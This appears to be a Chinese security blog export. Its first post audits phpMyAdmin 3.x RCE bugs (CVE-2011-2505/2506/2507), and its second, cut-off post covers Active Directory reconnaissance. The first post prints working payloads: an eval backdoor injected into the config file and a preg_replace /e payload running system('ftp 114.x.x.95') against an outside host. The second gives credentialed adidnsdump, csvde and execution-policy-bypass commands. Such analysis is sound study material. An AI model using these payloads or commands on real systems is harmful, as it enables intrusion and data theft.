<div class="highlight"><pre><span></span><code>C:<span class="se">\p</span>hpStudy<span class="se">\P</span>HPTutorial<span class="se">\p</span>hp<span class="se">\p</span>hp-5.4.45-nts<span class="se">\p</span>hp.exe<span class="w"> </span>C:<span class="se">\p</span>hpStudy<span class="se">\P</span>HPTutorial<span class="se">\W</span>WW<span class="se">\2</span>.php<span class="w"> </span>http://localhost/phpMyAdmin-3.2.4-english/phpMyAdmin-3.2.4-english<span class="w"> </span><span class="m">14508</span>
</code></pre></div>
<p>其中第一个参数为目标url,第二个参数为<code>XDEBUG_SESSION_START</code>的值</p>
<h1>前台RCE漏洞分析</h1>
<h2>第一个漏洞 CVE-2011-2505</h2>
<p>官方修复:</p>
<p><a href="https://github.com/phpmyadmin/phpmyadmin/commit/7ebd958b2bf59f96fecd5b3322bdbd0b244a7967">https://github.com/phpmyadmin/phpmyadmin/commit/7ebd958b2bf59f96fecd5b3322bdbd0b244a7967</a></p>
<p>漏洞文件:</p>
<p><code>libraries\auth\swekey\swekey.auth.lib.php</code>,第<code>266-276</code>行</p>
<div class="highlight"><pre><span></span><code><span class="x">if (strstr($_SERVER['QUERY_STRING'],'session_to_unset') != false)</span>
<span class="x">{</span>
<span class="x"> parse_str($_SERVER['QUERY_STRING']);</span>
<span class="x"> session_write_close();</span>
<span class="x"> session_id($session_to_unset);</span>
<span class="x"> session_start();</span>
<span class="x"> $_SESSION = array();</span>
<span class="x"> session_write_close();</span>
<span class="x"> session_destroy();</span>
<span class="x"> exit;</span>
<span class="x">}</span>
</code></pre></div>
<p>这里的关键位置就是<code>268</code>行的<code>parse_str</code>函数,<strong>官方推荐用法是传入两个参数,第二个参数用于限定变量的名称</strong>,但是这里却只传入了第一个参数,因此我们可以随意控制变量的名称和值,<strong>官方修复方法是将<code>268</code>行的代码删除,并从<code>$_GET['session_to_unset']</code>获取要销毁的session</strong></p>
<p>下面给出给函数的官方示例,方便理解:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="nv">$str</span> <span class="o">=</span> <span class="s2">"first=value&arr[]=foo+bar&arr[]=baz"</span><span class="p">;</span>
<span class="c1">// 推荐</span>
<span class="nb">parse_str</span><span class="p">(</span><span class="nv">$str</span><span class="p">,</span> <span class="nv">$output</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$output</span><span class="p">[</span><span class="s1">'first'</span><span class="p">];</span> <span class="c1">// value</span>
<span class="k">echo</span> <span class="nv">$output</span><span class="p">[</span><span class="s1">'arr'</span><span class="p">][</span><span class="mi">0</span><span class="p">];</span> <span class="c1">// foo bar</span>
<span class="k">echo</span> <span class="nv">$output</span><span class="p">[</span><span class="s1">'arr'</span><span class="p">][</span><span class="mi">1</span><span class="p">];</span> <span class="c1">// baz</span>
<span class="c1">// 不推荐</span>
<span class="nb">parse_str</span><span class="p">(</span><span class="nv">$str</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$first</span><span class="p">;</span> <span class="c1">// value</span>
<span class="k">echo</span> <span class="nv">$arr</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="c1">// foo bar</span>
<span class="k">echo</span> <span class="nv">$arr</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="c1">// baz</span>
<span class="cp">?></span>
</code></pre></div>
<p>我们在构造的<code>QUERY_SETRING</code>中将<code>session_to_unset</code>的值设置为<code>x</code>,这个其实就是告诉pma要销毁的sessionid,<strong>在PHP中,session文件以<code>sess_cookie</code>的形式进行存储,其中cookie就是我们的sessionid,因此我们只要设置一个和我们先前获取到的cookie值不一样的字符串即可避免session被销毁</strong></p>
<p><img alt="1599013809753" src="phpmyadmin+3.x+RCE审计.assets/1599013809753.png"></p>
<h2>第二个漏洞 CVE-2011-2506</h2>
<p>官方修复:<a href="https://github.com/phpmyadmin/phpmyadmin/commit/0fbedaf5fd7a771d0885c6b7385d934fc90d0d7f">https://github.com/phpmyadmin/phpmyadmin/commit/0fbedaf5fd7a771d0885c6b7385d934fc90d0d7f</a></p>
<p>漏洞文件:</p>
<p><code>setup\lib\ConfigFile.class.php</code>,第<code>286-299</code>行</p>
<div class="highlight"><pre><span></span><code><span class="x">if ($this->getServerCount() > 0) {</span>
<span class="x"> $ret .= "/* Servers configuration */$crlf\$i = 0;" . $crlf . $crlf;</span>
<span class="x"> foreach ($c['Servers'] as $id => $server) {</span>
<span class="x"> $ret .= '/* Server: ' . strtr($this->getServerName($id), '*/', '-') . " [$id] */" . $crlf</span>
<span class="x"> . '$i++;' . $crlf;</span>
<span class="x"> foreach ($server as $k => $v) {</span>
<span class="x"> $k = preg_replace('/[^A-Za-z0-9_]/', '_', $k);</span>
<span class="x"> $ret .= "\$cfg['Servers'][\$i]['$k'] = "</span>
<span class="x"> . var_export($v, true) . ';' . $crlf;</span>
<span class="x"> }</span>
<span class="x"> $ret .= $crlf;</span>
<span class="x"> }</span>
<span class="x"> $ret .= '/* End of servers configuration */' . $crlf . $crlf;</span>
<span class="x">}</span>
</code></pre></div>
<p><strong>可以看到在第<code>289</code>行使用<code>strstr</code>函数检测<code>$this->getServerName($id)</code>中是否存在注释符,虽然这个地方被检测了,但是<code>$ID</code>并没有被检查,所以我们可以在这里做手脚,也就是说我们构造<code>$c['Servers']</code>的值闭合注释符号即可注入我们自己的代码,而<code>$c['Servers']</code>中的<code>$c</code>的值是<code>$c = $_SESSION['ConfigFile'];</code>,根据上一个漏洞,我们可以控制<code>$_SESSION</code>变量的值,那也就意味着我们可以控制<code>$c</code>变量的值,从而闭合注释符注入代码</strong></p>
<p>官方的修复方法是对<code>$id</code>也进行了注释符的检测</p>
<h2>exp脚本分析</h2>
<p>根据上面的分析,我们前后一共需要发起三次请求:</p>
<ul>
<li>第一次请求获取cookie和token并保存以待后用</li>
<li>第二次请求构造$_SESSION变量的值</li>
<li>第三次请求保存注入了我们的代码的配置文件到服务器的config目录</li>
</ul>
<p><strong>在<code>setup\config.php</code>的第49行<code>file_put_contents($config_file_path, ConfigFile::getInstance()->getConfigFile());</code>调用<code>file_put_contents</code>函数将注入代码写入配置文件,<code>$config_file_path</code>的值是<code>./config/config.inc.php</code>,从这里我们跟入<code>ConfigFile::getInstance()->getConfigFile()</code></strong></p>
<p>放开前一个漏洞文件的断点,跟入第二个漏洞文件,<code>$ret</code>最终的值为:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="cm">/*</span>
<span class="cm"> * Generated configuration file</span>
<span class="cm"> * Generated by: phpMyAdmin 3.2.4 setup script by Piotr Przybylski <piotrprz@gmail.com></span>
<span class="cm"> * Date: Wed, 02 Sep 2020 11:27:13 +0800</span>
<span class="cm"> */</span>
<span class="cm">/* Servers configuration */</span>
<span class="nv">$i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="cm">/* Server: localhost [*/</span><span class="k">foreach</span><span class="p">(</span><span class="nv">$_GET</span> <span class="k">as</span> <span class="nv">$k</span><span class="o">=></span><span class="nv">$v</span><span class="p">)</span><span class="k">if</span><span class="p">(</span><span class="nv">$k</span><span class="o">===</span><span class="s2">"eval"</span><span class="p">)</span><span class="k">eval</span><span class="p">(</span><span class="nv">$v</span><span class="p">);</span><span class="cm">/*] */</span>
<span class="nv">$i</span><span class="o">++</span><span class="p">;</span>
<span class="nv">$cfg</span><span class="p">[</span><span class="s1">'Servers'</span><span class="p">][</span><span class="nv">$i</span><span class="p">][</span><span class="s1">'port'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'0'</span><span class="p">;</span>
<span class="cm">/* End of servers configuration */</span>
<span class="nv">$cfg</span><span class="p">[</span><span class="s1">'DefaultLang'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'en-utf-8'</span><span class="p">;</span>
<span class="nv">$cfg</span><span class="p">[</span><span class="s1">'ServerDefault'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nv">$cfg</span><span class="p">[</span><span class="s1">'UploadDir'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="nv">$cfg</span><span class="p">[</span><span class="s1">'SaveDir'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
<span class="cp">?></span>
</code></pre></div>
<p>最后我们访问<code>/config/config.inc.php</code>即可进行命令执行等操作:</p>
<p><img alt="1599018034423" src="phpmyadmin+3.x+RCE审计.assets/1599018034423.png"></p>
<h1>后台RCE漏洞分析</h1>
<h2>第三个漏洞 CVE-2011-2507</h2>
<p>上面的两个漏洞联合可以触发前台RCE,后面的漏洞需要首先进行认证进入PMA后台才可以触发RCE,这个漏洞是利用的php的<code>preg_replace</code>函数存在的漏洞并结合第一个变量覆盖漏洞达到RCE的目的,根据<a href="http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html">Haxxor</a>文章的分析,在php 5.3.6源代码的<code>ext/pcre/php_pcre.c</code>中,对<code>preg_replace</code>的第一个参数,也就是正则表达式的修饰符的处理中存在空字节截断的问题:</p>
<div class="highlight"><pre><span></span><code><span class="cm">/* Parse through the options, setting appropriate flags. Display</span>
<span class="cm"> a warning if we encounter an unknown modifier. */</span>
<span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">pp</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">pp</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="cm">/* Perl compatible options */</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'i'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_CASELESS</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'m'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_MULTILINE</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'s'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_DOTALL</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'x'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_EXTENDED</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span>
<span class="w"> </span><span class="cm">/* PCRE specific options */</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'A'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_ANCHORED</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'D'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_DOLLAR_ENDONLY</span><span class="p">;</span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'S'</span><span class="p">:</span><span class="w"> </span><span class="n">do_study</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'U'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_UNGREEDY</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'X'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_EXTRA</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'u'</span><span class="p">:</span><span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_UTF8</span><span class="p">;</span>
<span class="w"> </span><span class="cm">/* In PCRE, by default, \d, \D, \s, \S, \w, and \W recognize only ASCII</span>
<span class="cm"> characters, even in UTF-8 mode. However, this can be changed by setting</span>
<span class="cm"> the PCRE_UCP option. */</span>
<span class="w"> </span><span class="cp">#ifdef PCRE_UCP</span>
<span class="w"> </span><span class="n">coptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PCRE_UCP</span><span class="p">;</span>
<span class="w"> </span><span class="cp">#endif </span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span>
<span class="w"> </span><span class="cm">/* Custom preg options */</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'e'</span><span class="p">:</span><span class="w"> </span><span class="n">poptions</span><span class="w"> </span><span class="o">|=</span><span class="w"> </span><span class="n">PREG_REPLACE_EVAL</span><span class="p">;</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">' '</span><span class="p">:</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'\n'</span><span class="p">:</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span>
<span class="w"> </span><span class="k">default</span><span class="o">:</span>
<span class="w"> </span><span class="n">php_error_docref</span><span class="p">(</span><span class="nb">NULL</span><span class="w"> </span><span class="n">TSRMLS_CC</span><span class="p">,</span><span class="n">E_WARNING</span><span class="p">,</span><span class="w"> </span><span class="s">"Unknown modifier '%c'"</span><span class="p">,</span><span class="w"> </span><span class="n">pp</span><span class="p">[</span><span class="mi">-1</span><span class="p">]);</span>
<span class="w"> </span><span class="n">efree</span><span class="p">(</span><span class="n">pattern</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>参考php官方手册对<a href="https://www.php.net/manual/en/function.preg-replace.php">preg_replace函数的解释</a>,从php 5.5.0开始,/e修饰符已经不被推荐,到了php 7.0.0,该函数已经被彻底移除,被<code>preg_replace_callback()</code>函数代替</p>
<p>在<code>php 5.3.6</code>以及之前的版本中,<strong>/e修饰符将会指示<code>preg_replace_callback</code>将第二个参数作为php代码去执行</strong>,参考下面的例子:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="nv">$pattern</span> <span class="o">=</span> <span class="s1">'/'</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'a'</span><span class="p">]</span><span class="o">.</span><span class="s1">'/e'</span><span class="p">;</span>
<span class="nv">$replacement</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'b'</span><span class="p">];</span>
<span class="nv">$subject</span> <span class="o">=</span> <span class="s1">'omglolomglolnostop'</span><span class="p">;</span>
<span class="k">echo</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span><span class="nv">$replacement</span><span class="p">,</span><span class="nv">$subject</span><span class="p">);</span>
</code></pre></div>
<p><img alt="1599104545907" src="phpmyadmin+3.x+RCE审计.assets/1599104545907.png"></p>
<p><strong>这个运行机制就是每匹配到一个模式就会执行一次第二个参数中的代码,还有就是不管你模式字符串怎么写,只要匹配到,都会至少执行两次,未匹配到则不执行</strong></p>
<p>我们可以参考<a href="http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html">Haxxor</a>给出的示例:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="nv">$pattern</span> <span class="o">=</span> <span class="s1">'/omfglol'</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'mypattern'</span><span class="p">]</span><span class="o">.</span><span class="s1">'/i'</span><span class="p">;</span>
<span class="nv">$replacement</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'replacement'</span><span class="p">];</span>
<span class="nv">$subject</span> <span class="o">=</span> <span class="s1">'omglolomglolnostop'</span><span class="p">;</span>
<span class="k">echo</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="nv">$pattern</span><span class="p">,</span><span class="nv">$replacement</span><span class="p">,</span><span class="nv">$subject</span><span class="p">);</span>
</code></pre></div>
<p>先写一个正则表达式,该正则表达式需要保证一定能匹配到待匹配的字符串,对于例子中的情况(存在拼接)我们可以使用<code>|.*</code>,来保证能够匹配到并减少命令执行的次数,然后再用空字节截断使<code>preg_replace</code>函数忽略后面的<code>/i</code>修饰符从而使代码能够正常运行而不报错,然后跟上要执行的命令即可</p>
<p><img alt="1599384250920" src="phpmyadmin+3.x+RCE审计.assets/1599384250920.png"></p>
<p><strong>本文的测试环境使用的是phpstudy,从测试结果来看,<code>preg_replace</code>在php 5.4之后就已经不存在了</strong></p>
<h2>漏洞利用分析</h2>
<p>漏洞的触发点是<code>/server_synchronize.php</code>,还是和上面的利用过程相同,先获取token和cookie,这不过这里有所不同,就是cookie是认证通过后的cookie,相比之前的cookie会多一些字段:</p>
<p><img alt="image-20200908005605483" src="phpmyadmin+3.x+RCE审计.assets/image-20200908005605483.png"></p>
<p>然后再利用已经获取的token和cookie去构造<code>$_SESSION</code>变量,其中<code>$_SESSION</code>变量有两个键需要进行覆盖</p>
<p><code>_SESSION[trg_db]</code>和<code>_SESSION[uncommon_tables]</code>,这两个变量的payload构造如下:</p>
<div class="highlight"><pre><span></span><code><span class="x">_SESSION[trg_db]=\`?phpinfo():'.$asdgajskdgas.';/**</span>
<span class="x">_SESSION[uncommon_tables][0]=|/e%00</span>
</code></pre></div>
<p><strong>备注:第一次调试的时候,上面的payload的确是好使的,但是后来发现这样写会遇到下面的问题</strong></p>
<p>在<code>/server_synchronize.php</code>的第504至513,会有一个判断:</p>
<div class="highlight"><pre><span></span><code><span class="x">foreach ($cons as $con) {</span>
<span class="x"> if (${"{$con}_type"} != "cur") {</span>
<span class="x"> ${"{$con}_link"} = PMA_DBI_connect(${"{$con}_username"}, ${"{$con}_password"}, $is_controluser = false, ${"{$con}_server"});</span>
<span class="x"> } else {</span>
<span class="x"> ${"{$con}_link"} = null;</span>
<span class="x"> // working on current server, so initialize this for tracking</span>
<span class="x"> // (does not work if user defined current server as a remote one)</span>
<span class="x"> $GLOBALS['db'] = ${"{$con}_db"};</span>
<span class="x"> }</span>
<span class="x">} // end foreach ($cons as $con)</span>
</code></pre></div>
<p>如果原始连接(<code>src_type</code>)目标连接(<code>trg_type</code>)的类型值不为<code>cur</code>,则代码会在这里终止,没办法往后走,因此在构造payload的时候需要另外加上<code>_SESSION[src_type]=cur&_SESSION[trg_type]=cur</code></p>
<p>其中<code>$asdgajskdgas</code>是使用<code>urlencode</code>函数处理过的php代码,因为使用了问号冒号表达式,因此最后形成的payload中</p>
<div class="highlight"><pre><span></span><code>`\``
</code></pre></div>
<p>将恒为假(php中的`有执行命令的意思,只有命令执行成功了才会返回true),因此这里的phpinfo()随便写一个合法的php语句即可,反正也不会被执行</p>
<p>完成$_SESSION变量的覆盖之后,我们需要使用前面获取的token和cookie对<code>http://localhost/pma3.x/server_synchronize.php</code>发起第二次请求,在发起请求的同时将<code>XDEBUG_SESSION_START</code>参数也带上,以进行调试</p>
<p>我们首先在<code>/server_synchronize.php</code>的第<code>504</code>行下断点,然后运行exp脚本开始调试</p>
<p><img alt="image-20200908015849141" src="phpmyadmin+3.x+RCE审计.assets/image-20200908015849141.png"></p>
<p>这里<code>$_REQUEST[0]</code>必须有值,我们才能进入for循环和下面的if语句,其次,<code>$table_id[1]</code>也不能为空,否则<code>$uncommon_table_structure_diff</code>数组将会是空的</p>
<p><img alt="image-20200908020100886" src="phpmyadmin+3.x+RCE审计.assets/image-20200908020100886.png"></p>
<p>如果<code>$uncommon_table_structure_diff</code>数组是空的,那么我们将无法进入<code>PMA_createTargetTables</code>函数,也就无法触发RCE,因此我们在传入的参数中要加上<code>0=123US0</code>,这个参数中<code>US</code>后面的数字最后会影响到<code>$uncommon_table_structure_diff[$s]</code>,在第一次循环中$s为0,也就是<code>$uncommon_table_structure_diff</code>数组的第一个值,这个值将会成为<code>$uncommon_tables</code>变量的索引,在上面构造payload的时候我们只写了<code>_SESSION[uncommon_tables][0]=|/e%00</code>,因此我们也要把<code>US</code>之后的数字设置为<code>0</code>以保证exp的正确运行</p>
<p>我们跟入<code>PMA_createTargetTables</code>函数来看一看我们的payload最后变成了什么样子:</p>
<p><img alt="image-20200908021522608" src="phpmyadmin+3.x+RCE审计.assets/image-20200908021522608.png"></p>
<p>这里<code>%00</code>无法显示,不过已经插进去了</p>
<div class="highlight"><pre><span></span><code>$a1 = "/`|/e"
$a1 = "`\``?phpinfo():system("ftp 114.x.x.95");/**`.`|/e"
</code></pre></div>
<p>可以看到我们构造的payload正好将用于转义我们的`使用\给转义了</p>
<p>进而消除了<code>PMA_backquote</code>函数带来的负面影响</p>
<p>我们可以看到vps已经收到了数据包:</p>
<p><img alt="image-20200908022017852" src="phpmyadmin+3.x+RCE审计.assets/image-20200908022017852.png"></p>
<p>至此,命令执行完毕</p>
<p><strong>对之前的payload进行更改,并完善了exp脚本之后,最终的效果如下:</strong></p>
<p><img alt="1599544103285" src="phpmyadmin+3.x+RCE审计.assets/1599544103285.png"></p>
<p>exp接收四个参数,依次为pma_url、username、password、cmd</p>
<h1>后记</h1>
<p>在阅读作者的文章时,十分震撼,别人只是在relax的时候读了读pma的源码,就审出了好几个CVE,着实是太强了,另外在审计的过程中也学习到了session和cookie的关系和工作机制,对php的了解也更深入了一些</p>
<p>第三个漏洞导致的RCE的exp脚本,是受到<a href="http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html">Haxxor</a>的博文下面的评论的提示并基于<a href="https://www.exploit-db.com/exploits/17514">https://www.exploit-db.com/exploits/17514</a>编写出来的,其实根据上面的分析也基本上可以写出来利用脚本了,不过<strong>有需要的同学可以在公众号后台留言获取<a href="https://gitee.com/wochinijiamile/import/raw/master/111222.php">exp脚本</a></strong></p>域内信息搜集2020-08-10T00:00:00+02:002020-08-10T00:00:00+02:0012138tag:None,2020-08-10:yu-nei-xin-xi-sou-ji.html<h1>前言</h1>
<p>最近内网渗透的工作比较多,这里总结一下域内渗透的相关知识</p>
<p><a href="https://wochinijiamile.blog.csdn.net/article/details/102793435">实验环境</a></p>
<h1>SPN查询</h1>
<p><a href="https://adsecurity.org/?page_id=183">SPN名称及其对应的服务名称</a></p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/1.ps1">查询脚本</a></p>
<p>用法:</p>
<div class="highlight"><pre><span></span><code><span class="nt">powershell</span><span class="w"> </span><span class="nt">-executionpolicy</span><span class="w"> </span><span class="nt">bypass</span><span class="w"> </span><span class="nt">-command</span><span class="w"> </span><span class="s2">"& { import-module C:\Users\123\Desktop …</span></code></pre></div><h1>前言</h1>
<p>最近内网渗透的工作比较多,这里总结一下域内渗透的相关知识</p>
<p><a href="https://wochinijiamile.blog.csdn.net/article/details/102793435">实验环境</a></p>
<h1>SPN查询</h1>
<p><a href="https://adsecurity.org/?page_id=183">SPN名称及其对应的服务名称</a></p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/1.ps1">查询脚本</a></p>
<p>用法:</p>
<div class="highlight"><pre><span></span><code><span class="nt">powershell</span><span class="w"> </span><span class="nt">-executionpolicy</span><span class="w"> </span><span class="nt">bypass</span><span class="w"> </span><span class="nt">-command</span><span class="w"> </span><span class="s2">"& { import-module C:\Users\123\Desktop\1.ps1; Discover-PSInterestingServices -OptionalSPNServiceFilter (\"Microsoft Virtual Console Service\",\"Dfsr\") }"</span>
</code></pre></div>
<p><img alt="1600767947025" src="导出域内信息姿势总结.assets/1600767947025.png"></p>
<p><code>\"Microsoft Virtual Console Service\",\"Dfsr\")</code>这些是想要获取的服务名称,使用<code>,</code>分割</p>
<p>如果没有<code>OptionalSPNServiceFilter</code>参数没有指定任何服务,那么默认就只搜索ftp服务</p>
<p>要想找文件服务器,除了ftp服务之外,也可以尝试nfs服务</p>
<h1>获取ADIDNS记录</h1>
<p>参考:</p>
<ul>
<li><a href="https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/">https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/</a></li>
</ul>
<p>ADIDNS——活动目录集成DNS,默认情况下,任何经过验证的域内用户都能够读取域内所有DNS记录</p>
<p><img alt="1599827013655" src="导出域内信息姿势总结.assets/1599827013655.png"></p>
<p>使用<a href="https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/">Dirk-jan Mollema</a>大佬编写的工具<a href="https://github.com/dirkjanm/adidnsdump">https://github.com/dirkjanm/adidnsdump</a>即可非常方便地导出域内所有的DNS记录,使用方法如下:</p>
<div class="highlight"><pre><span></span><code>adidnsdump -u matrix.loc\qqq -p qwe123... corpdc1.matrix.loc -r
</code></pre></div>
<p>最后的结果会保存在当前目录下的<code>records.csv</code>文件中,如果我们是使用socks等代理的方式进行记录的导出,可以通过<code>--dns-tcp</code>标志,并将最后的HOSTNAME换成域控制器的IP即可</p>
<p><img alt="1599976870248" src="导出域内信息姿势总结.assets/1599976870248.png"></p>
<p>由于DNS记录并不总是存在于<code>DomainDNSZones</code>应用分区中,所以我们在导出DNS记录时应先使用<code>--print-zones</code>参数打印出当前域所拥有的所有DNS区域以及他们所在的分区</p>
<p><img alt="1600768218792" src="导出域内信息姿势总结.assets/1600768218792.png"></p>
<p>对于forest分区,需要在导出时加上<code>--forest</code>选项,而对于legacy分区,则需要在导出时加上<code>--legacy</code>,如下面两张图所示:</p>
<p><img alt="1600773502382" src="导出域内信息姿势总结.assets/1600773502382.png"></p>
<p><img alt="1600773512094" src="导出域内信息姿势总结.assets/1600773512094.png"></p>
<p>其中<code>legacy DNS zones</code>是由低版本的域控制器升级产生的,比如windows 2000并没有应用分区这个概念,所以在升级之后就会存在于该分区,其DN一般为<code>DC=domain.local,CN=MicrosoftDNS,CN=System,DC=domain,DC=local</code></p>
<p>准确的DNS区域dn可以使用<a href="https://github.com/Kevin-Robertson/Powermad.git">powermad</a>查询</p>
<p>在cmd下执行如下命令</p>
<div class="highlight"><pre><span></span><code>powershell<span class="w"> </span>-executionpolicy<span class="w"> </span>bypass<span class="w"> </span>-command<span class="w"> </span><span class="s2">"&{ import-module C:\Users\administrator\Downloads\Powermad-master\powermad.ps1; Get-ADIDNSZone }"</span>
</code></pre></div>
<p><img alt="Capture" src="导出域内信息姿势总结.assets/Capture.PNG"></p>
<h1>csvde导出域内信息</h1>
<p>下载链接:<a href="https://gitee.com/wochinijiamile/smartya/raw/master/csvde.exe">https://gitee.com/wochinijiamile/smartya/raw/master/csvde.exe</a></p>
<h2>csvde导出域内信息会产生的日志</h2>
<p><img alt="1598942789502" src="导出域内信息姿势总结.assets/1598942789502.png"></p>
<ul>
<li>首先产生事件ID为<code>4776</code>的凭据验证日志,在这里可以看到执行导出操作的机器的hostname</li>
<li>然后产生事件ID为<code>4672</code>的特殊登录日志,为新登录的账户分配特殊权限,在这里可以看到登录账户拥有的权限,但是看不到源主机</li>
<li>产生事件ID为<code>4624</code>的登录日志,在这里可以看到源主机的hostname和IP乃至TCP连接的端口信息</li>
<li>最后产生事件ID为<code>4634</code>的注销日志,这里的信息比较少</li>
</ul>
<h2>基本参数说明和处理脚本的编写</h2>
<p><strong>csvde导出域有两种方式,一种是将csvde传入目标内网机器进行信息的导出,另一种是通过proxyfier代理进入目标内网来进行信息的导出</strong></p>
<p>导出<code>uoiysdf.iuodsf.vi</code>域的所有信息</p>
<ul>
<li>-s指定远程域控制器IP</li>
<li>-b指定导出数据使用的用户名,后面紧跟目标域名和用户密码</li>
<li>-d指定目标BaseDN,形如:<code>"dc=uoiysdf,dc=iuodsf,dc=vi"</code></li>
<li>-m指定输出中不包含二进制数据,但是仍然会出现十六进制(<strong>这个可以使用python脚本进行处理</strong>)的数据,多出现在description属性中(因为可能包含中文)</li>
<li>-f指定输出文件</li>
<li>-u指定unicode编码,不过貌似没有用
导出的结果会存储到csv文件中,直接使用excel打开会显得比较混乱,推荐使用notepad++等专业编辑器打开</li>
</ul>
<div class="highlight"><pre><span></span><code>csvde -s 192.168.1.10 -b administrator uoiysdf.iuodsf.vi 43u96tgjirbtgpnk3w4o9-ip -d "dc=uoiysdf,dc=iuodsf,dc=vi" -m -f res.csv -u
</code></pre></div>
<p>我们主要通过ldap过滤器来筛选出我们想要导出的数据</p>
<p><a href="https://www.cnblogs.com/zouhao/p/4568025.html">ldap过滤器</a></p>
<p><a href="https://gitee.com/wochinijiamile/smartya/raw/master/123232323232.zip">备份链接</a></p>
<h3>python处理脚本(参考):</h3>
<div class="highlight"><pre><span></span><code><span class="c1">#coding:utf-8</span>
<span class="kn">import</span> <span class="nn">csv</span>
<span class="kn">import</span> <span class="nn">codecs</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">import</span> <span class="nn">binascii</span>
